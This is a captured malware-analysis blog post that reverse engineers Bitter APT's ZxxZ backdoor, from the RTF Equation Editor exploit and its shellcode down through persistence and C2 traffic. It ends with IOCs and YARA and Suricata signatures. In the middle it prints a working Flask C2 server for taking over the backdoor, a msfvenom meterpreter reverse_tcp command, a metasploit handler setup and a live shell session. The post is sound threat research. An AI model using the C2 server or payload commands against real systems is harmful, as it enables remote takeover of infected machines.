c3rb3ru5d3d53c.github.io Open in urlscan Pro
2606:50c0:8002::153  Public Scan

URL: https://c3rb3ru5d3d53c.github.io/malware-blog/2022-07-04-bitter-apt-zxxz-backdoor/
Submission: On August 26 via manual from CA — Scanned from CA

Form analysis 0 forms found in the DOM

Text Content

Malware Hell
Malware Blog Personal Blog IOCs Signatures Documents
Light Dark Auto



MAKING FUN OF YOUR APT MALWARE - BITTER APT USING ZXXZ BACKDOOR TO TARGET
PAKISTAN PUBLIC ACCOUNTS COMMITTEE

2022-06-26
22 min read
malware


INTRODUCTION

Bitter APT (T-APT-17/APT-C-08/Orange Yali) is a group known to operate in South
Asia and is suspected to be an Indian 🇮‍🇳 APT. They primarialy target Pakistan
🇵‍🇰, Saudi Arabia 🇸‍🇦 and China.


ANALYSIS

This will be an indepth analysis of Bitter APT’s backdoor named ZxxZ. We will
cover almost every aspect of the attack chain including, exploit shellcode
analysis, building our own C2 server to communicate with the malware and writing
detection signatures for the community.


SITUATIONAL AWARENESS

ShadowChasing1 posted on Twitter of about new activity from the group.



I decided to have a closer look just for fun. 😅


INFECTION CHAIN

The sample is a RTF document purporting to be a Program Advisory Comittee (PAC)
report. Based on some quick googling, Pakistan 🇵‍🇰 does have a Public Accounts
Comittee. The PAC is responsible for regulating the use of public funds. If you
are of course an adversary to Pakistan 🇵‍🇰, involving yourself in such afairs
gives you better insight into the financial structure of a country. I’m not an
expert in international affairs so if this is incorrect please DM me on Twitter
and I’ll make any nessasary corrections to this analysis. The exploit shellcode
will download a MSI installer, which extracts a CAB Archive containing the final
Portable Executable (PE) payload.

Post Exploitation
Exploitation
extract
extract
CVE-2017-1182
download
Payload
CAB Archive
MSI Installer
RTF Document
Shellcode


EXPLOITATION

The initial sample PAC Advisory Committee Report.doc (sample_0.bin), is an RTF
document containing the Equation Editor exploit (CVE-2017-1182). Although this
exploit is quite old now, it is still used by threat actors to this day.

EXTRACTING SHELLCODE

The exploit exists in object 4 in the RTF document and can be identified using
rtfdump.

rtfdump.py --objects sample_0.doc
1: Name: b'Equation.3\x00'
   Magic: b'd0cf11e0'
   Size: 3584
   Hash: md5 32a758aab375df78e25fbee9d6db9ec4


Now that we have identified the suspicious OLE object, let’s extract it.

rtfdump.py -s 4 -H -c "0x23:0xe23" -d sample_0.doc > sample_1.bin
file sample_1.bin
sample_1.bin: Composite Document File V2 Document, Cannot read section info


The first order of business is to check this out with oledir.

oledir sample_1.bin


This identifies to us that the CLSID 0002CE02-0000-0000-C000-000000000046 is
being used in Root Entry and is likely related to CVE-2017-1182.

Now to extract object 4 from the OLE, which contains the shellcode.

oledump.py sample_1.bin
  1:       102 '\x01CompObj'
  2:        20 '\x01Ole'
  3:         6 '\x03ObjInfo'
  4:       741 'Equation Native'
oledump.py -s 4 -d sample_1.bin > sample_2.bin


Seeing attacks like this many times now, since there is no visible URL the
shellcode likely is encrypted. It never hurts to attempt a XOR bruteforce to see
if you are successful or not.

xorbruteforcer.py sample_2.bin | strings


This yields us the following strings with a 0xff XOR key:

>GetPu
ddreu
CreateDirectoryA
C:\$Jz
LoadLibraryA
msi.dll
MsiSetInternalUI
MsiInstallProductA
hATSNhI=NOhITCAT
hxxp://sbss[.]com[.]pk/gts/bd[.]msi
FileA
C:\$Gts\gwsapip.exe
C:\$Gts\gw
LoadLibraryA
Shell32.dll
ShellExecuteA
C:\$Gts\gwsapip.exe
C:\Windows\explorer
open


This is a common mistake amongst threat actors from crimeware groups to APTs. We
attack low skill encryption like this with pre-existing tools. Not to mention
that yara also has XOR string functionality.

Using VirusTotal the URL hxxp://sbss[.]com[.]pk/gts/bd[.]msi provides us a Body
SHA256 of b026a255b2e17fb0c608f1265837e425ea89cc7f661975c6a0d9051e917f4611,
which can be found here.

Alright, we know where to find the next stage.

However, let’s go a little deeper into analyzing the shellcode.

SHELLCODE ANALYSIS

Once the malicious RTF document is opened and the user clicks Enable Editing,
the eqnedt32.exe process will be created. The buffer is overwritten and the
shellcode will then be executed.

In the OLE object we find the bytes b2 13 40 00, which stand out as an
interesting pointer to 0x004013b2 as usually the address space for eqnedt32.exe
will be in this range. This is easily possible because the DLL Characteristics
of eqnedt32.exe is not compiled with ASLR or
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE enabled. Making the exploit more reliable.

00000900  1c 00 00 00 02 00 22 c2  cc 0e 00 00 00 00 00 00  |......".........|
00000910  00 00 00 00 cc 6f 62 00  00 00 00 00 03 01 01 03  |.....ob.........|
00000920  0a 0a 01 04 ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
00000930  ff ff ff ff ff ff ff ff  ff ff d2 ce 44 00 e0 a3  |............D...|
00000940  45 00 2a d0 00 ff 00 00  00 00 01 03 0e 00 00 01  |E.*.............|
00000950  03 0d 00 00 01 12 83 b8  c0 44 00 e0 a3 45 00 d2  |.........D...E..|
00000960  ce 44 00 00 40 46 00 6c  3f 44 00 b2 13 40 00 49  |.D..@F.l?D...@.I|


After setting a breakpoint in the debugger on the aforementioned address, we hit
a few return instructions and then this decryption routine.

00464242 | B8 18404600              | mov eax,eqnedt32.464018                 |
00464247 | B9 2A020000              | mov ecx,22A                             |
0046424C | F610                     | not byte ptr ds:[eax]                   |
0046424E | 40                       | inc eax                                 |
0046424F | E2 FB                    | loop eqnedt32.46424C                    |
00464251 | 68 18404600              | push eqnedt32.464018                    |
00464256 | C3                       | ret                                     |


What we thought before was an XOR operation is actually in this case is a not
operation.

> NOT - Performs a bitwise NOT operation (each 1 is set to 0, and each 0 is set
> to 1) on the destination operand and stores the result in the destination
> operand location. The destination operand can be a register or a memory
> location.

Thusly, performing xor al, 0xff then moving al to a memory location is
equivelent to not byte [<ptr>].

It would appear the threat actors did not consider this weakness in their
shellcode decryption algorithm.



The shellcode that starts being decrypted starts with a 3-byte nop sled and has
a size of 0x22a bytes, as indicated by moving 0x22a into the ecx register when
executing the loop instruction. Once it has finished decrypting the shellcode,
the return instruction will set the instruction pointer to the beginning of the
3-byte nop sled.

After using the TIB to obtain the linear address of the PEB and getting the
address of kernel32.GetProcAddress. It will get the address of
kernel32.CreateDirectoryA to create the directory C:\$Jz.

Once the directory has been created, it will get the addresses of
kernel32.LoadLibrary and use it to load msi.dll into the eqnedt32.exe process.
It will then call msi.MsiSetInternalUI. This will setup the installer’s internal
user interface. This is required for other subsequent calls to other installer
functions.

After the function interface has been setup, it will call msi.MsiInstallProductA
with the following parameters.

ParameterValueszPackagePathhxxp://sbss[.]com[.]pk/gts/bd[.]msiszCommandLineITCAI=NOATSNLL

Figure 1: Equation Editor Shellcode Executing msi.MsiInstallProductA

This will result in the following traffic.

GET /gts/bd.msi HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows Installer
Host: sbss.com.pk


This will execute the MSI installer silently on using the eqnedt32.exe process.

The site sbss[.]com[.]pk appears to be a service that allows you to buy and sell
property. It was created on Feb 15th, 2021 according to PKNIC. Interestingly,
the site is using Wordpress 5.8.3 at the time of this analysis. The previous
version 5.8.2 had a major SQL Injection vulnerability CVE-2022-21661. It is not
easily posible to determine what exactly happened to the website without access.
It was either compromised or it was created by the threat actors themselves.
This analysis will not go into the geopolitical aspects of tracing actors. We
will save this for for another blog post.

Once completed, it will call kernel32.ExitProcess as to not arouse any suspicion
from the user.

Although, it may arouse some suspicion as the document is empty and does not
contain any decoy text. 🤔

Figure 2: User Perspective of Suspicious Empty Document


POST EXPLOITATION

This section in the analysis will cover the post exploitation behavior of Bitter
APT’s ZxxZ backdoor.

MSI INSTALLER

The MSI installer contains the file sample_5.bin, which is a Cabinet (or CAB)
archive file for Windows. Once extracted, we get sample_6.bin, which is a
Windows Portable Executable (PE). This can all be extracted using 7zip and make
it easy enough for us to gain access to the payload.

PAYLOAD TRIAGE

We have finally arrived at the payload sample_6.bin.

I used floss on the executable and got the following interesting strings.

floss sample_6.bin
subscribe[.]tomcruefrshsvc[.]com
update.exe
Updates
uer/sDeRcEwwQaAsSN.php?txt=
userlog.php?id=
WqeC812CCvU/
systemlog
systemlog
tmp.exe


This might be the C2 server and some of it’s URI paths and parameters.

Opening sample_6.bin in PEBear, shows us that ws2_32.dll is present in the
imports. This may give us easier insight to where the C2 communication is
happening.

We can now hypothesize that this is the payload we are looking for.

INITIALIZATION

Once executed, it will use user32.LoadStringA to use strings from the resource
string table. These strings indicate the project name is NewProject. These kind
of artifacts are typically left behind when an application template code in
Visual Studio was never provided a name and is certainly a heuristic indicator
we can hunt for.

LoadStringA(hInstance0,"NewProject_2.1",&lpWindowName,100);
LoadStringA(hInstance0,"NEWPROJECTT_21",&lpClassName,100);
RegisterWindowClass(hInstance0);
HINSTANCE_SELF = hInstance;
hWnd = CreateWindowExA(
	NULL, &lpClassName,
	&lpWindowName, WS_TILEDWINDOW,
	0x80000000, 0,
	0x80000000, 0,
	(HWND)NULL, (HMENU)NULL,
	hInstance0, (LPVOID)NULL);


Interestingly, they opt to use large negative values for the parameters X and
nWidth as 0x80000000 will be int resulting in -2147483648. I don’t believe there
is much legitimate purpose to this. Maybe they were worried their window would
show on the screen. 😂

Once completed creating the window, it will perform a decryption routine on the
C2 server domain subscribe[.]tomcruefrshsvc[.]com. This is performed with the
following algorithm.

Figure 3: String Decryption Algorithm (Simple XOR)

After reverse engineering this algorithm we can implement the same routine in
Python.

def EncryptDecrypt(key, data):
	"""
	Bitter APT EncryptDecrypt Strings Function
	"""
    keylen = len(key)
    keypos = 0
    for i in range(0, len(data)):
        if data[i] == 0x00:
            break
        if keypos >= keylen:
            keypos = 0
        data[i] = data[i] ^ int(key[keypos].encode('utf-8').hex(), base=16)
        keypos += 1
    return data.decode('utf-8')


It is also possible to easily decrypt the strings in CyberChef as well.

Figure 4: CyberChef String Decryption

At least here they are using 2-byte XOR keys. 😂

Then it will start creating a directory path string using CSIDL_LOCAL_APPDATA
(C:\Users\<username>\AppData\Local), if this was unsuccessful it will attempt to
create CSIDL_TEMPLATES (C:\Users\<username>\Templates) and CSIDL_SENDTO
(C:\Users\<username>\SendTo) respectively.

iResult = SHGetFolderPathA(NULL,CSIDL_LOCAL_APPDATA,NULL,NULL,&PATH);
if ((iResult != 0) && (iResult = SHGetFolderPathA(NULL,CSIDL_TEMPLATES,NULL,NULL,&PATH), iResult != 0)) {
	SHGetFolderPathA(NULL,CSIDL_SENDTO,NULL,NULL,&PATH);
}


Once completed, it will call strcat_s to append the path with string \\Updates.
It will then call _mkdir to create the directory
C:\Users\username\<path-type>\Updates. Execution will continue until it appends
the path with the string systemlog, in a very redundant way. 😂

Figure 5: Obfuscated but not really string ‘systemlog’.



It will then call kernel32.Sleep to sleep for 30 seconds. Once it has finished
sleeping, it will check for the presence of the process avp (Kaspersky) and MsMp
(Microsoft Security Monitor Process) and only establish persistence if those
security processes are not present on the system. At least they are making an
effort here to be stealthy and infect only poorly secured machines.

bResult = IsProcess("avp");
if ((bResult == FALSE) &&
	(bResult = IsProcess("MsMp"),
	bResult == FALSE)){
	Persistence();
}


PERSISTENCE

To establish persistence, it will create the LNK file %UserProfile%\Start
Menu\Programs\Startup\update.LNK, which points to
%UserProfile%\AppData\Local\Updates\update.exe.

HRESULT Persistence(void){
  /*
  Bitter APT Persistence Function
  */
  HRESULT hResult;
  char cStartupPathLNK [250];

  CoInitialize((LPVOID)NULL);
  Sleep(1000);
  cStartupPathLNK._0_2_ = 0;
  memset(cStartupPathLNK + 2,0,248);
  hResult = SHGetFolderPathA(
	  (HWND)NULL,
	  CSIDL_STARTUP,
	  (HANDLE)NULL,
	  NULL,
	  cStartupPathLNK);
  if (hResult == 0) {
                    /* %StartUp%\\update.lnk */
    strcat_s(cStartupPathLNK,250,"\\");
    strcat_s(cStartupPathLNK,250,s_update_00406bb8);
    strcat_s(cStartupPathLNK,250,".");
    strcat_s(cStartupPathLNK,250,"l");
    strcat_s(cStartupPathLNK,250,"n");
    strcat_s(cStartupPathLNK,250,"k");
    hResult = CreateStartupLNK(cStartupPathLNK);
  }
  CoUninitialize();
  return hResult;
}


The CreateStartupLNK function, shown above, uses the COM Interface
Shortcut->IShellLinkA. This corresponds to the following COM GUIDs.

GUIDTypeName00021401-0000-0000-c000-000000000046CLSIDShortcut000214EE-0000-0000-C000-000000000046InterfaceIDIShellLinkA

It will also set the LNK comment to App.

hResult = CoCreateInstance(
	(IID *)&00021401-0000-0000-c000-000000000046,
	(LPUNKNOWN)NULL,
	1,
    (IID *)&000214EE-0000-0000-C000-000000000046,
    &ppv);
if (-1 < hResult) {
	pszFile = (LPCSTR)pszFileCheck;
	iLength = lstrlenA(&PATH);
	rLength = iLength + 1;
	LocalRealloc(&pszFile,pszFileCheck,rLength);
	eError = memcpy_s(pszFile,rLength,&PATH,rLength);
	ExceptionHandler(eError);
	(*ppv->lpVtbl->SetPath)(ppv,pszFile);
	// ...


Once the LNK in has been created in the startup folder, it will sleep for 20
seconds. Then it will copy itself to
%UserProfile%\AppData\Local\Updates\tmp.exe. It will then create a handle to the
file %UserProfile%\AppData\Local\Updates\systemlog, and write the characters aa.

Interestingly, at this stage it will use shell32.ShellExecuteA to execute
%UserProfile%\AppData\Local\Updates\tmp.exe (itself) before exiting its own
process.

Once the tmp.exe (itself) has been executed again, it will skip over the
persistence mechenisims discussed previously and begin collecting information
about the machine. This information includes the username, computername and
productname. This data will be stored in the URI parameter string
<ComputerName>&&user=<Username>&&OsI=<ProductName>.

It will then call kernel32.CopyFileExA to copy the aforementioned tmp.exe to
update.exe. The following is the directory listing where the payload is stored
for persistence.

PS C:\Users\malware\AppData\Local\Updates> ls
    Directory: C:\Users\malware\AppData\Local\Updates
Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         6/29/2022  11:07 PM          2 systemlog  (To check if installed)
-a---         6/29/2022   6:47 AM      53248 tmp.exe    (Payload)
-a---         6/29/2022   6:47 AM      53248 update.exe (Payload)


Persistence has now been established as it will surivive a reboot.

C2 COMMUNICATION

Bitter APT’s ZxxZ backdoor follows a minimal approach to C2 communication. The
only command sent by the C2 server is the payload to execute next. This ensures
that they can deploy new payloads at will anytime persistence is achieved.
However, it will communicate with the C2 server every 17 seconds regardless if
it has received any new payloads or not, which does generate noise on the
infected network.

No payload is perfect. However, I can certainly see its appeal for a large scale
offensive campaign from an operational perspective.

BEHAVIOR

The overall C2 behavior can be explained as follows.

Figure 6: High Level C2 Behavior Overview

Now that we understand the high level concepts, let’s discuss the details and
see what the C2 traffic looks like.

Once persistence has been established, it will communicate to the C2 server
using the string we identified earlier as the URI parameters.

GET /VcvNbtgRrPopqSD/SzWvcxuer/userlog.php?id=MALWARE-PC&&user=yourmom&&OsI=Windows7Ultimate HTTP/1.1
Host:subscribe[.]tomcruefrshsv[.]com
Connection: close


The C2 checkin URI parameters are as follows.

URI ParameterDescriptionidComputerNameuserUsernameOsIProductName

Threat actors don’t often realize that the omission of the User-Agent header
makes the communication identifiable amongst legitimate browsing traffic. Not
only this, but they are using && for additional URI parameters. The standard is
to use only one &, making this even more identifiable. It is common practice to
pick on these mistakes and write very effective detection.

By using dnsmasq to change the C2 domain IP address it will allow us to write
our own C2 server code to interact with the malware. Using nslookup we can
confirm the C2 domain is now resolving to a local IP address we control.

PS C:\Users\malware> nslookup subscribe.tomcruefrshsvc.com
Name:    subscribe.tomcruefrshsvc.com
Address:  10.0.2.1


Once the malware has sent its C2 checkin, it will then check the response for
the first occurance of the <ComputerName><Username> that it sent using strstr.

pcResult = strstr(C2Response,&ComputerNameUsername);
if (pcResult != (char *)NULL) {
	// <c2-ops-here>
}


After this has completed, it will parse between the double quotes for a process
name. If a process name is provided, it will check to see if that process is
currently running. If it is running, it will respond to the C2 server with the
following response.

GET /VcvNbtgRrPopqSD/SzWvcxuer/sDeRcEwwQaAsSN.php?txt=RNGZxxZexplorerZxxZMALWARE-PCmalware HTTP/1.1
Host:subscribe.tomcruefrshsvc.com
Connection: close


The format is RNG<delimiter><process-name><delimiter><computername><username>.
Interestingly, RNG is hardcoded and stored as a scalar operand in little endian.

mov dword ptr [CHAR_ARRAY_00407950], 0x474e52


If the process is not running, it will perform the following request.

GET /VcvNbtgRrPopqSD/WqeC812CCvU/<payload> HTTP/1.1
Host:subscribe.tomcruefrshsvc.com
Connection: close


It will then create the folder %AppData%\Local\Debug. If unsuccessful, it will
instead create the directory C:\<username>\Templates.

hResult = SHGetFolderPathA((HWND)NULL, CSIDL_LOCAL_APPDATA, (HANDLE)NULL, NULL, pszPath);
if (hResult == NULL) {
	strcat_s(pszPath,250,"\\");
    strcat_s(pszPath,250,"Debug");
    _mkdir(pszPath);
} else {
	hResult = SHGetFolderPathA((HWND)NULL,CSIDL_TEMPLATES,(HANDLE)NULL,NULL,pszPath);
	if (hResult != 0) {
		return 0;
	}
}


Once the directory is created, it will concatenate the payload name with the
extension .exe. After this, it will write the first byte M manually, then write
the rest of the payload sent from the C2 server to disk, ignoring the first
0xf65 bytes of data sent.

It will then make the following request to let the C2 server know the payload is
being executed.

GET /VcvNbtgRrPopqSD/SzWvcxuer/sDeRcEwwQaAsSN.php?txt=DN-SZxxZpayload.vbsZxxZMALWARE-PCmalware HTTP/1.1
Host:subscribe.tomcruefrshsvc.com
Connection: close


Once this has been sent to the C2 server, it will finally execute the payload
using shell32.ShellExecuteA.

Figure 7: Executing Payload with shell32.ShellExecuteA

After the payload has been executed, it will check to see if the processes was
created successfully. This feature of course has timing issues for additional
payloads sent by the C2 server that do not run in an infinite loop. 😅

If the payload process is running it will send the following request to the C2
server.

GET /VcvNbtgRrPopqSD/SzWvcxuer/sDeRcEwwQaAsSN.php?txt=SZxxZpayloadZxxZMALWARE-PCmalware HTTP/1.1
Host:subscribe.tomcruefrshsvc.com
Connection: close


If the payload process is not running, it will send the following request to the
C2 server.

GET /VcvNbtgRrPopqSD/SzWvcxuer/sDeRcEwwQaAsSN.php?txt=RN_EZxxZpayloadZxxZMALWARE-PCmalware HTTP/1.1
Host:subscribe.tomcruefrshsvc.com
Connection: close


It will then sleep for 15 seconds and repeat the loop.

Interestingly, while they obfuscated (very poorly) the payload in the network
traffic by prepending it with garbage data. They do not follow suit in storing
their payloads in any obfuscated way on disk. Which means, they will have to be
very careful not to be detected.

C2 RESPONSES

At this point we can map out the following C2 responses and their meaning.

C2 ResponseDescriptionRNGPayload is already runningDN-SPayload is
executingSExecuted payload is runningRN_EExecuted payload is not running

C2 SERVER CODE

Now that we know everything there is to know about how Bitter APT’s ZxxZ
backdoor communicates with its C2 server. We can implement our own C2 server to
manipulate it to execute our own payloads.

For this we will use Python and Flask.

#!/usr/bin/env python

import sys
import os
import logging
import argparse
from flask import Flask
from flask import request

__version__ = '1.0.0'
__author__  = 'c3rb3ru5d3d53c'

parser = argparse.ArgumentParser(
    prog=f'zxxz v{__version__}',
    description='Bitter APT ZxxZ Backdoor C2 Server',
    epilog=f'Author: {__author__}')

parser.add_argument(
    '--version',
    action='version',
    version=f'v{__version__}')

parser.add_argument(
    '-i',
    '--input',
    type=str,
    default=None,
    help='Input Payload',
    required=False)

parser.add_argument(
    '--host',
    type=str,
    default='0.0.0.0',
    required=False,
    help='Listen Host')

parser.add_argument(
    '-p',
    '--port',
    type=int,
    default=80,
    required=False,
    help='Listen Port')

parser.add_argument(
    '-d',
    '--debug',
    action='store_true',
    default=False,
    required=False,
    help='Debug')

args = parser.parse_args()

logging.basicConfig(level=logging.DEBUG)

payload_name = os.path.basename(args.input)     # Payload filename (.exe appened on clientside)
payload_name = payload_name.replace('.exe', '')
magic_0      = 'RNG'                            # Payload is already running
magic_1      = 'DN-S'                           # Payload is executing
magic_2      = 'S'                              # Executed payload is running
magic_3      = 'RN_E'                           # Executed payload is not running
delim        = 'ZxxZ'                           # URI arameter delimiter

payload_data = open(args.input, 'rb').read()

app = Flask(__name__)

def payload_is_already_running(data):
    """
    Payload is already running
    """
    data = data[7:]
    data = data.split(delim)
    process_name = data[0]
    computer = data[1]
    app.logger.info(f'[{computer}] {process_name} is already running')
    return process_name

def payload_is_executing(data):
    """
    Payload is executing
    """
    data = data[8:]
    data = data.split(delim)
    process_name = data[0]
    computer = data[1]
    app.logger.info(f'[{computer}] {process_name} is executing')
    return process_name

def payload_is_running(data):
    """
    Executed payload is running
    """
    data = data[1:]
    data = data.split(delim)
    process_name = data[0]
    computer = data[1]
    app.logger.info(f'[{computer}] {process_name} is running')
    return process_name

def payload_is_not_running(data):
    """
    Executed payload is not running
    """
    data = data[8:]
    data = data.split(delim)
    process_name = data[0]
    computer = data[1]
    app.logger.info(f'[{computer}] {process_name} payload is not running')
    return process_name

@app.route('/VcvNbtgRrPopqSD/SzWvcxuer/userlog.php', methods=['GET'])
def checkin():
    os           = request.args.get('OsI')  # Operating System
    username     = request.args.get('user') # Username
    computername = request.args.get('id')   # ComputerName
    app.logger.info(f'[checkin] {os}/{computername}/{username}')
    return f'{computername}{username}"{payload_name}"'

@app.route('/VcvNbtgRrPopqSD/SzWvcxuer/sDeRcEwwQaAsSN.php', methods=['GET'])
def status():
    data = request.args.get('txt')
    if data.startswith(magic_0 + delim):        # Payload is already running
        return payload_is_already_running(data)
    if data.startswith(magic_1 + delim):        # Payload is executing
        return payload_is_executing(data)
    if data.startswith(magic_2 + delim):        # Executed payload is running
        return payload_is_running(data)
    if data.startswith(magic_3 + delim):        # Executed payload is not running
       return payload_is_not_running(data)
    return 'invalid'

@app.route('/VcvNbtgRrPopqSD/WqeC812CCvU/<payload>', methods=['GET'])
def send_payload(payload):
    app.logger.info('sending payload')
    return b'A'*0xf65 + payload_data

app.run(debug=True, host='0.0.0.0', port=80)


When a C2 server is down, a great way to control the malware you are debugging
is to run your own C2 server. This does come with its own challenges as we need
to reverse engineer how the malware handles responses. But at least we are in
control now! 🦾

To create our own payload we can do the following.

msfvenom --platform windows --arch x86 -p windows/meterpreter/reverse_tcp LHOST=<host> LPORT=<port> -f exe -o payload.exe


We can now use this to execute our payload by performing the following.

./zxxz.py --host 0.0.0.0 --port 80 --debug --input payload.exe


Then in metasploit we need to setup our listener. Once we have the C2 server
zxxz.py running, our payload created and metasploit listening for the
meterpreter reverse_tcp callback. We can run the malware on the infected VM.
This will yield us a successful execution of our own payload resulting in a
meterpreter session.

msfconsole
> use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
msf6 exploit(multi/handler) > set LPORT <port>
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Sending stage (175174 bytes) to <redacted>
[*] Meterpreter session 3 opened (<host>:<port> -> <redacted>:50218 ) at 2022-07-02 17:17:52 -0400

meterpreter > shell
Process 772 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\malware\AppData\Local\Updates>whoami
malware-pc\malware

C:\Users\malware\AppData\Local\Updates> C:\Users\malware>start "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/watch?v=dQw4w9WgXcQ"

C:\Users\malware\AppData\Local\Updates>exit
meterpreter >


PROOF OF CONCEPT (POC)

In this Proof of Concept (PoC) video I use my own C2 server for Bitter APT’s
ZxxZ backdoor and send my own meterpreter payload to the infected machine.

SUMMARY

This kind of C2 analysis is a lot of work. 👷‍♀

However, please consider the following benifits.

 * Reliable detection signatures
 * Scanning the internet for other potential C2 servers
 * Debug future samples easier when the C2 server is down


CONFIGURATION EXTRACTION

Since we now understand how the malware decrypts its strings, I created an
automated configuration extractor for mwcfg. The following is an example of how
to perform extraction on Bitter APT ZxxZ samples you might have.

mwcfg --modules modules/ --input tests/bitter/cc7ddf9ed230ad4e060dfd0f32389efb --pretty
[
    {
        "name": "tests/bitter/cc7ddf9ed230ad4e060dfd0f32389efb",
        "type": "PE32 executable (GUI) Intel 80386, for MS Windows",
        "mime": "application/x-dosexec",
        "md5": "cc7ddf9ed230ad4e060dfd0f32389efb",
        "sha1": "05af416c3173cdb0b49d51db1db7b8f90639e3b8",
        "sha256": "09bb6b01db8b2177779d90c5444d91859994a1c2e907e5b444d6f6e67d2cfcfe",
        "configs": [
            {
                "domain": "subscribe.tomcruefrshsvc.com",
                "family": "bitter_zxxz"
            }
        ]
    }
]



CLASSIFICATION

I wouldn’t call this malware a Remote Administration Tool (RAT) or a botnet for
that matter. The functionality is quite simple. Accept a single command, which
is the payload you wish to execute from the C2 server. With this in mind, I
classify this malware as a backdoor.


CONCLUSION

We reverse engineered Bitter APT’s ZxxZ backdoor to the point we can repurpose
it for our own red team operations. What I really wanted to show with this
analysis and Proof of Concept (PoC), is that we need to be very careful with our
attribution of threat actors. It is undeniably possible for one nation-state
threat actor to frame another using similar methods. Based on this analysis, it
would also not suprise me if this behavior is already happening in the wild.



Cisco Talos also did an analysis on ZxxZ backdoor entitled Bitter APT adds
Bangladesh to their Targets. Although this is a great report, I wanted to do
more with this malware to showcase what is possible.

I could certainly weaponize their code by writing a utility to patch the maldoc
exploit and backdoor. However, I have decided against doing this as it would
make it too easy for skiddies to parade around as Bitter APT and cause more
mayhem for our industry.

Although I do poke fun at Bitter APT’s mistakes, this attack chain from them
shows that they are capable of being a notable threat to Pakistan 🇵‍🇰. While
they are not delivering the most advanced attack in this example, these APT
groups usually are large orgainzations of people with a large variety of skill
levels. This malware would appear to be created by someone who is likely new to
developing nation state quality malware. I wonder if they have quality control
as part of their standard processes and procedures, perhaps we will never know.
😅

I think we successfully destroyed Bitter APT’s ZxxZ backdoor now. 😜




DOWNLOADS

 * Samples and Ghidra Project


INDICATORS

This section covers all the indicators covered in the report.


STATIC

TypeFilenameDescriptionSHA256hashsample_0.binMaldoc9a8b201eb2bebe309d15c7b0ab5a6dcde460b84b035bb3575d4a0ec6af51a37ehashsample_1.binOLE
Object96e61b3f2c3c4ffe065c0aa492145b90956b45660bd614e5924ef9b6dade3c57hashsample_2.binOLE
Streamf0d4d43cd6f3c33ed78d13722e81d03f21101edbc15cb0782448d0843fb2bf7fhashsample_3.binDecrypted
Shellcoded6fdc95e74aea3f7072ca713213ff157c0999f53b3b130f8217ea63231b109adurlMSI
Payloadhxxp://sbss[.]com[.]pk/gts/bd[.]msidomainMSI Payloadsbss[.]com[.]pkipMSI
Payload203[.]124[.]44[.]180hashsample_4.binMSI
Installerb026a255b2e17fb0c608f1265837e425ea89cc7f661975c6a0d9051e917f4611hashsample_5.binCAB
Archive42745ddb257a25671f18ff6c2ad38e9c89b64f4d13f4412097691384e626672fhashsample_6.binPE
Payload09bb6b01db8b2177779d90c5444d91859994a1c2e907e5b444d6f6e67d2cfcfedomainC2
Domainsubscribe[.]tomcruefrshsv[.]comipC2 IP185[.]7[.]33[.]56


TTPS

IDTacticTechniqueT1203ExecutionExploitation for Client
ExecutionT1547PersistenceBoot or Logon Autostart ExecutionT1095Command and
ControlNon-Application Layer ProtocolT1592ReconnaissanceGather Victim Host
InformationT1001Command and ControlData Obfuscation


GRAPH


DETECTION

I’m providing the following signatures to help the community detect this threat.


YARA

rule malware_bitter_zxxz_0 {
	meta:
		author      = "c3rb3ru5d3d53c"
		description = "MALWARE Bitter APT ZxxZ Backdoor"
		hash        = "09bb6b01db8b2177779d90c5444d91859994a1c2e907e5b444d6f6e67d2cfcfe"
		reference   = "https://c3rb3ru5d3d53c.github.io/malware-blog/2022-07-04-bitter-apt-zxxz-backdoor/"
		created     = "2022-07-01"
		os          = "windows"
		tlp         = "white"
		rev         = 1
	strings:
		$delimiter        = "ZxxZ" ascii wide
		$rng              = {c7 05 ?? ?? ?? ?? 52 4e 47 00}
		$string_decryptor = {53 3b ca 75 ?? 33 c9 8a 1c ?? 30 1c ?? 40 41 3b c6 7c}
	condition:
		uint16(0) == 0x5a4d and
        uint32(uint32(0x3c)) == 0x00004550 and
		filesize < 4128028 and
        2 of them
}

rule heuristic_xor_strings_0 {
    meta:
        author      = "c3rb3ru5d3d53c"
        description = "HEURISTIC Suspicious XOR Strings"
        reference   = "https://c3rb3ru5d3d53c.github.io/malware-blog/2022-07-04-bitter-apt-zxxz-backdoor/"
        hash        = "f0d4d43cd6f3c33ed78d13722e81d03f21101edbc15cb0782448d0843fb2bf7f"
        created     = "2022-06-27"
        type        = "heuristic"
        os          = "windows"
        tlp         = "white"
        rev         = 1
    strings:
        $str_0 = "://"            xor
        $str_1 = "LoadLibrary"    xor
        $str_2 = "GetProcAddress" xor
        $str_3 = "ShellExecute"   xor
        $str_4 = "kernel32"       xor
    condition:
        any of ($str_*)
}

rule heuristic_pe_default_project_name_0 {
	meta:
		author      = "c3rb3ru5d3d53c"
		description = "HEURISTIC Binary Default Project Name"
		reference   = "https://c3rb3ru5d3d53c.github.io/malware-blog/2022-07-04-bitter-apt-zxxz-backdoor/"
		hash        = "09bb6b01db8b2177779d90c5444d91859994a1c2e907e5b444d6f6e67d2cfcfe"
		created     = "2022-06-29"
		os          = "windows"
		tlp         = "white"
		rev         = 1
	strings:
		$project_name_0 = "NewProject_" ascii wide
	condition:
		uint16(0) == 0x5a4d and
        uint32(uint32(0x3c)) == 0x00004550 and
        any of ($project_name_*)
}



SURICATA

alert http $HOME_NET any -> $EXTERNAL_NET any (
	msg:"MALWARE Bitter APT ZxxZ Backdoor C2 Checkin";
	content:"GET"; http_method;
	content:"&&"; http_uri; fast_pattern;
	content:"OsI="; http_uri;
	content:!"User-Agent|3a 20|"; http_header;
	flow:to_server, established;
	reference:url, https://c3rb3ru5d3d53c.github.io/malware-blog/2022-07-04-bitter-apt-zxxz-backdoor/;
	metadata:created 2022-06-30, type malware.backdoor, os windows, tlp white;
	classtype:trojan-activity;
	sid:1000016;
	rev:1;
)
alert http $HOME_NET any -> $EXTERNAL_NET any (
	msg:"MALWARE Bitter APT ZxxZ Backdoor C2 Beacon";
